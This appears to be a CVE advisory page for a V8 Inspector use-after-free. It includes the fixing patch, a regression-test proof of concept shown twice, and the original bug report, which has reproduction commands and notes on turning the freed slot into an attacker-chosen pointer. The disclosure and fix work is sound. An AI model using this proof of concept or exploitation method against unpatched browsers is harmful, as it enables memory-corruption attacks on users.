CVE-2026-78944
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
iftest/inspector/runtime/regress-520052954.js |
modified | |
setTimeouttest/inspector/runtime/regress-520052954.js |
modified |
Files Changed
src/inspector/injected-script.cctest/inspector/inspector.statustest/inspector/runtime/regress-520052954-expected.txttest/inspector/runtime/regress-520052954.js
Patch
From 91a30f0b3770265567557eb1ec47ee84b205597d Mon Sep 17 00:00:00 2001
From: Yang Guo <yangguo@chromium.org>
Date: Fri, 17 Jul 2026 15:27:36 +0000
Subject: [PATCH] [inspector] Fix UAF in ProtocolPromiseHandler on session disconnect
KeepSessionAliveScope was missing in ProtocolPromiseHandler::thenCallback
and catchCallback. If the session is disconnected during JS execution
within these callbacks (e.g. via custom formatters), the session and
associated InjectedScript are destroyed, leading to UAF when the stack
unwinds.
This CL adds KeepSessionAliveScope to both callbacks to keep the session
alive until they finish.
Also adds regression tests based on the PoCs attached to the issue.
TAG=agy
CONV=0d576582-f72b-47f5-a478-6eb9e6ebdbe3
Bug: 520052954
Change-Id: I2e7c65022b2a0d1933d333acabd22b33df13fdf8
Fixed: 520052954
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8117126
Reviewed-by: Simon Zünd <szuend@chromium.org>
Commit-Queue: Simon Zünd <szuend@chromium.org>
Auto-Submit: Yang Guo <yangguo@chromium.org>
Cr-Commit-Position: refs/heads/main@{#108738}
---
diff --git a/src/inspector/injected-script.cc b/src/inspector/injected-script.cc
index 0acd4d4..60a2eea 100644
--- a/src/inspector/injected-script.cc
+++ b/src/inspector/injected-script.cc
@@ -244,6 +244,7 @@
V8InspectorSessionImpl* session =
m_inspector->sessionById(m_contextGroupId, m_sessionId);
if (!session) return;
+ V8InspectorSessionImpl::KeepSessionAliveScope keepAlive(*session);
InjectedScript::ContextScope scope(session, m_executionContextId);
Response response = scope.initialize();
if (!response.IsSuccess()) return;
@@ -291,6 +292,7 @@
V8InspectorSessionImpl* session =
m_inspector->sessionById(m_contextGroupId, m_sessionId);
if (!session) return;
+ V8InspectorSessionImpl::KeepSessionAliveScope keepAlive(*session);
InjectedScript::ContextScope scope(session, m_executionContextId);
Response response = scope.initialize();
if (!response.IsSuccess()) return;
diff --git a/test/inspector/inspector.status b/test/inspector/inspector.status
index 411feb8..bff9ad6 100644
--- a/test/inspector/inspector.status
+++ b/test/inspector/inspector.status
@@ -26,6 +26,7 @@
# Tests that need to run sequentially (e.g. due to memory consumption).
'runtime/console-messages-limits': [PASS, SLOW, HEAVY],
'runtime/regression-732717': [PASS, HEAVY],
+ 'runtime/regress-520052954': [PASS, ['not asan', SKIP]],
}], # ALWAYS
##############################################################################
diff --git a/test/inspector/runtime/regress-520052954-expected.txt b/test/inspector/runtime/regress-520052954-expected.txt
new file mode 100644
index 0000000..3ecaf44
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954-expected.txt
@@ -0,0 +1,5 @@
+Test session disconnect during exception wrapping.
+victim session id = 1
+[controller] paused -> stock utils.disconnectSession(victim)
+[controller] victim freed; resuming nested loop
+Reached post-wait (unexpected under ASan if bug fires).
diff --git a/test/inspector/runtime/regress-520052954.js b/test/inspector/runtime/regress-520052954.js
new file mode 100644
index 0000000..8fa68066
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954.js
@@ -0,0 +1,66 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Regression test for b/520052954.
+
+
+InspectorTest.log('Test session disconnect during exception wrapping.');
+
+const contextGroup = new InspectorTest.ContextGroup();
+
+// Victim session.
+const victim = contextGroup.connect();
+const VP = victim.Protocol;
+
+// Controller session.
+const controller = contextGroup.connect();
+const CP = controller.Protocol;
+
+let freed = false;
+
+(async function test() {
+ await VP.Runtime.enable();
+ await VP.Debugger.enable();
+ await VP.Runtime.setCustomObjectFormatterEnabled({enabled: true});
+
+ await CP.Runtime.enable();
+ await CP.Debugger.enable();
+
+ const victimId = victim.id;
+ InspectorTest.log('victim session id = ' + victimId);
+
+ CP.Debugger.onPaused(async () => {
+ if (freed) { await CP.Debugger.resume(); return; }
+ freed = true;
+ InspectorTest.log('[controller] paused -> stock utils.disconnectSession(victim)');
+ // Disconnect victim session.
+ utils.disconnectSession(victimId);
+ InspectorTest.log('[controller] victim freed; resuming nested loop');
+ await CP.Debugger.resume();
+ });
+
+ await VP.Runtime.evaluate({
+ expression: `
+ globalThis.devtoolsFormatters = [{
+ header: function(obj, config) { debugger; return null; },
+ hasBody: function() { return false; },
+ }];
+ setTimeout(function() {
+ // Trigger formatter.
+ throw {tag: 'exc'};
+ }, 0);
+ `,
+ });
+
+ // Drive the scheduled setTimeout to completion from the CONTROLLER. If the UAF
+ // fires under ASan we never get past here.
+ await CP.Runtime.evaluate({
+ expression: 'new Promise(r => setTimeout(r, 0))',
+ awaitPromise: true,
+ });
+
+ InspectorTest.log('Reached post-wait (unexpected under ASan if bug fires).');
+ InspectorTest._sessions.delete(victim);
+ InspectorTest.completeTest();
+})();
Regression Test / PoC
diff --git a/test/inspector/runtime/regress-520052954-expected.txt b/test/inspector/runtime/regress-520052954-expected.txt
new file mode 100644
index 0000000..3ecaf44
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954-expected.txt
@@ -0,0 +1,5 @@
+Test session disconnect during exception wrapping.
+victim session id = 1
+[controller] paused -> stock utils.disconnectSession(victim)
+[controller] victim freed; resuming nested loop
+Reached post-wait (unexpected under ASan if bug fires).
diff --git a/test/inspector/runtime/regress-520052954.js b/test/inspector/runtime/regress-520052954.js
new file mode 100644
index 0000000..8fa68066
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954.js
@@ -0,0 +1,66 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Regression test for b/520052954.
+
+
+InspectorTest.log('Test session disconnect during exception wrapping.');
+
+const contextGroup = new InspectorTest.ContextGroup();
+
+// Victim session.
+const victim = contextGroup.connect();
+const VP = victim.Protocol;
+
+// Controller session.
+const controller = contextGroup.connect();
+const CP = controller.Protocol;
+
+let freed = false;
+
+(async function test() {
+ await VP.Runtime.enable();
+ await VP.Debugger.enable();
+ await VP.Runtime.setCustomObjectFormatterEnabled({enabled: true});
+
+ await CP.Runtime.enable();
+ await CP.Debugger.enable();
+
+ const victimId = victim.id;
+ InspectorTest.log('victim session id = ' + victimId);
+
+ CP.Debugger.onPaused(async () => {
+ if (freed) { await CP.Debugger.resume(); return; }
+ freed = true;
+ InspectorTest.log('[controller] paused -> stock utils.disconnectSession(victim)');
+ // Disconnect victim session.
+ utils.disconnectSession(victimId);
+ InspectorTest.log('[controller] victim freed; resuming nested loop');
+ await CP.Debugger.resume();
+ });
+
+ await VP.Runtime.evaluate({
+ expression: `
+ globalThis.devtoolsFormatters = [{
+ header: function(obj, config) { debugger; return null; },
+ hasBody: function() { return false; },
+ }];
+ setTimeout(function() {
+ // Trigger formatter.
+ throw {tag: 'exc'};
+ }, 0);
+ `,
+ });
+
+ // Drive the scheduled setTimeout to completion from the CONTROLLER. If the UAF
+ // fires under ASan we never get past here.
+ await CP.Runtime.evaluate({
+ expression: 'new Promise(r => setTimeout(r, 0))',
+ awaitPromise: true,
+ });
+
+ InspectorTest.log('Reached post-wait (unexpected under ASan if bug fires).');
+ InspectorTest._sessions.delete(victim);
+ InspectorTest.completeTest();
+})();
Original Bug Report
V8 Inspector: use-after-free in console/exception/promise reporting on session disconnect
Steps to reproduce the problem
Environment
V8 source: 15.1.0 (Chromium-tracked).
Tested commit: f1d2db6bb88 (HEAD, 2026-06-04). Linux x86_64.
Working tree unmodified (no source changes; all PoCs are stock harness JS).
Builds
UAF reproduction (callsites A-D) — out/fuzzbuild-sandbox-asan/args.gn:
is_debug = false
dcheck_always_on = false
v8_enable_sandbox = true
is_asan = true
target_cpu = "x64"
autoninja -C out/fuzzbuild-sandbox-asan inspector-test
Callsite B impact demo — out/fuzzbuild-sandbox/args.gn (non-ASan, because
ASan quarantines the freed chunk and prevents the reclaim):
is_debug = false
dcheck_always_on = true
v8_enable_sandbox = true
target_cpu = "x64"
autoninja -C out/fuzzbuild-sandbox inspector-test
Run the UAF PoCs (A-D)
From the V8 source root, for each PoC:
ASAN_OPTIONS='abort_on_error=0:halt_on_error=1:detect_leaks=0' \
./out/fuzzbuild-sandbox-asan/inspector-test \
test/inspector/protocol-test.js \
poc-<X>.js
Each run aborts with AddressSanitizer: heap-use-after-free and a
READ of size 8. Each report contains the deref-site stack, the
freed-by stack through ~V8InspectorSessionImpl reached from
UtilsExtension::DisconnectSession (inspector-test.cc:442), and the
previously-allocated-by stack.
| PoC | console/JS trigger | deref site | freed region |
|---|---|---|---|
A poc-A-wraparguments-session-stale.js |
console.log(a, b) (2 args) |
findInjectedScript v8-inspector-session-impl.cc:228 via wrapArguments :302 |
232 B V8InspectorSessionImpl, +24 |
B poc-B-consoleAPICalled.js |
console.log({...}) (1 arg) |
consoleAPICalled Runtime.cpp:478 via reportToFrontend :404 |
144 B V8RuntimeAgentImpl, +24 (frontend_channel_) |
C poc-C-exceptionThrown.js |
uncaught throw {...} (via setTimeout) |
exceptionThrown Runtime.cpp:502 via reportToFrontend :363 |
144 B V8RuntimeAgentImpl, +24 |
D poc-D-promisehandler-catchCallback.js |
pending promise + Runtime.awaitPromise, then deferred reject |
session->inspector() v8-inspector-session-impl.h:47 via catchCallback injected-script.cc:305 |
232 B V8InspectorSessionImpl, +24 |
Common structure of every PoC (two stock sessions in one context group):
the victim session enables Runtime + Debugger +
Runtime.setCustomObjectFormatterEnabled; the controller session, on
Debugger.paused, calls the committed utils.disconnectSession(victimId)
and then Debugger.resume(). The page installs
globalThis.devtoolsFormatters whose header runs debugger; (this is
what opens the nested pause loop in which the disconnect is dispatched).
Run the callsite B impact demo
Sandbox-violation signal (the dereference faults at the attacker-chosen pointer):
UBSAN_OPTIONS='print_stacktrace=0:halt_on_error=0:abort_on_error=0:handle_segv=0:handle_sigbus=0:handle_sigill=0' \
./out/fuzzbuild-sandbox/inspector-test --sandbox-testing \
test/inspector/protocol-test.js \
poc-B-impact-controlled-pointer.js
Expected stderr: ## V8 sandbox violation detected! (a read access — the
vtable load). gdb capture of the controlled fault:
UBSAN_OPTIONS='...handle_segv=0...' \
gdb -batch -x poc-B-impact-controlled-pointer.gdb \
--args ./out/fuzzbuild-sandbox/inspector-test \
test/inspector/protocol-test.js \
poc-B-impact-controlled-pointer.js
gdb shows si_addr equal to the chosen pointer and the faulting instruction
mov (%r15),%rcx with r15 = the chosen pointer. See
poc-B-impact-controlled-pointer.log.
Problem Description
Summary
Heap-use-after-free in the V8 Inspector console/exception/promise reporting
path. The reporting frames hold raw pointers to V8InspectorSessionImpl and
its owned V8RuntimeAgentImpl across an object-preview callout that re-enters
page JS (devtoolsFormatters[*].header). If the session is disconnected while
that JS is on the stack, ~V8InspectorSessionImpl runs inline and frees the
objects; the reporting frame then dereferences the stale pointer. The freed
objects are on the renderer C++ heap, outside the V8 sandbox cage. Four
callsites reproduced under ASan at HEAD f1d2db6bb88 (V8 15.1.0); logs
attached.
Attacker model
A debugger client (a chrome.debugger-permission extension, or any CDP /
DevTools client) attaches a session, enables custom formatters
(Runtime.setCustomObjectFormatterEnabled(true)), and disconnects
(chrome.debugger.detach / session close) at the moment the inspected page
emits a console.log / uncaught throw / settled promise carrying an object
whose formatter header pauses execution. No prior memory primitive assumed.
Mechanism
The only session pin (KeepSessionAliveScope,
v8-inspector-session-impl.cc:362) is on the dispatchProtocolMessage stack;
the console/exception/promise-reporting stacks have none. So:
- The page installs
globalThis.devtoolsFormatterswhoseheaderrunsdebugger;. - Reporting a value whose preview fires that formatter hits
debugger;, which enters a nested message loop on pause (handleProgramBreak->runMessageLoopOnPause). - While paused, the debugger client disconnects the session
(
utils.disconnectSessionin the inspector-test harness); it is dispatched inside the nested loop, soDevToolsSession::Disconnect->~V8InspectorSessionImpl(:161) runs synchronously on the suspended reporting stack. That destroysunique_ptr<V8RuntimeAgentImpl>(144 B; holdsm_frontend.frontend_channel_at +24) and frees the 232 B session. - The formatter returns; the reporting frame dereferences the freed pointer.
Prior fixes cover only the dispatchProtocolMessage stack, not these paths.
Reproduced callsites (ASan, unmodified build)
All free via utils.disconnectSession ->
InspectorIsolateData::DisconnectSession (inspector-test.cc:442) ->
~V8InspectorSessionImpl.
- A
V8ConsoleMessage::wrapArguments(v8-console-message.cc:302).console.log(a,b): iter-0’swrapObjectruns the formatter and frees the session; iter-1 derefs it atfindInjectedScript(v8-inspector-session-impl.cc:228). - B
reportToFrontend->frontend->consoleAPICalled(v8-console-message.cc:404). Single-argconsole.log({...}); readsfrontend_channel_from the freedV8RuntimeAgentImpland virtual-dispatchesSendProtocolNotificationthrough it. See Impact. - C
reportToFrontendkException ->frontend->exceptionThrown(:363). Uncaughtthrow {...};wrapExceptionruns the formatter, frees the session, then line 363 derefs the freed agent. - D
InjectedScript::ProtocolPromiseHandler::catchCallback(injected-script.cc:305). A pending promise given toRuntime.awaitPromisethen rejected from a later task runscatchCallbackunpinned; itswrapObjectpreview frees the session, then line 305 readssession->inspector().
PoCs: poc-{A,B,C,D}-*.{js,log}.
Impact (callsite B)
Allocator-independent: the UAF reads frontend_channel_ from the freed object
and immediately uses it as the receiver of a virtual call
(SendProtocolNotification) — a code-pointer-bearing UAF, not a data read.
Supplementary (glibc-configured build): the freed 144 B slot can be reclaimed
from page JS (via inspector.scheduleWithAsyncStack, a same-size
std::vector<uint16_t>) so frontend_channel_ becomes attacker-chosen; the
vtable load then faults at exactly the chosen out-of-sandbox address, and
varying it moves the fault bit-for-bit. Evidence:
poc-B-impact-controlled-pointer.{js,gdb,log}.
Hardening notes (not reproduced)
- E
V8RuntimeAgentImpl::addBinding(~:1001): the post-Setrecheck validates the context but not the session. Not reachable on stock V8 (the setter fires only on a default context, which runs pinned;contextCreateduses a pristine realm). - F
getProperties->InjectedScript(~:624): missing session recheck, but reached only via the pinned CDP dispatcher.
Suggested fix
A/B/C: capture a weak_ptr<V8InspectorSessionImpl> at reporting-function entry
and bail before each post-callout deref if expired. D: re-fetch via
sessionById(m_sessionId) after the wrapObject at injected-script.cc:298.
Blanket: extend KeepSessionAliveScope from dispatchProtocolMessage to the
console/exception delivery and async/promise-reaction entry points.
Summary
V8 Inspector: use-after-free in console/exception/promise reporting on session disconnect
Custom Questions
Type of crash:
tab
Reporter credit:
ywatanabee
Additional Data
Category: Security
Chrome Channel: Not sure
Regression: N/A \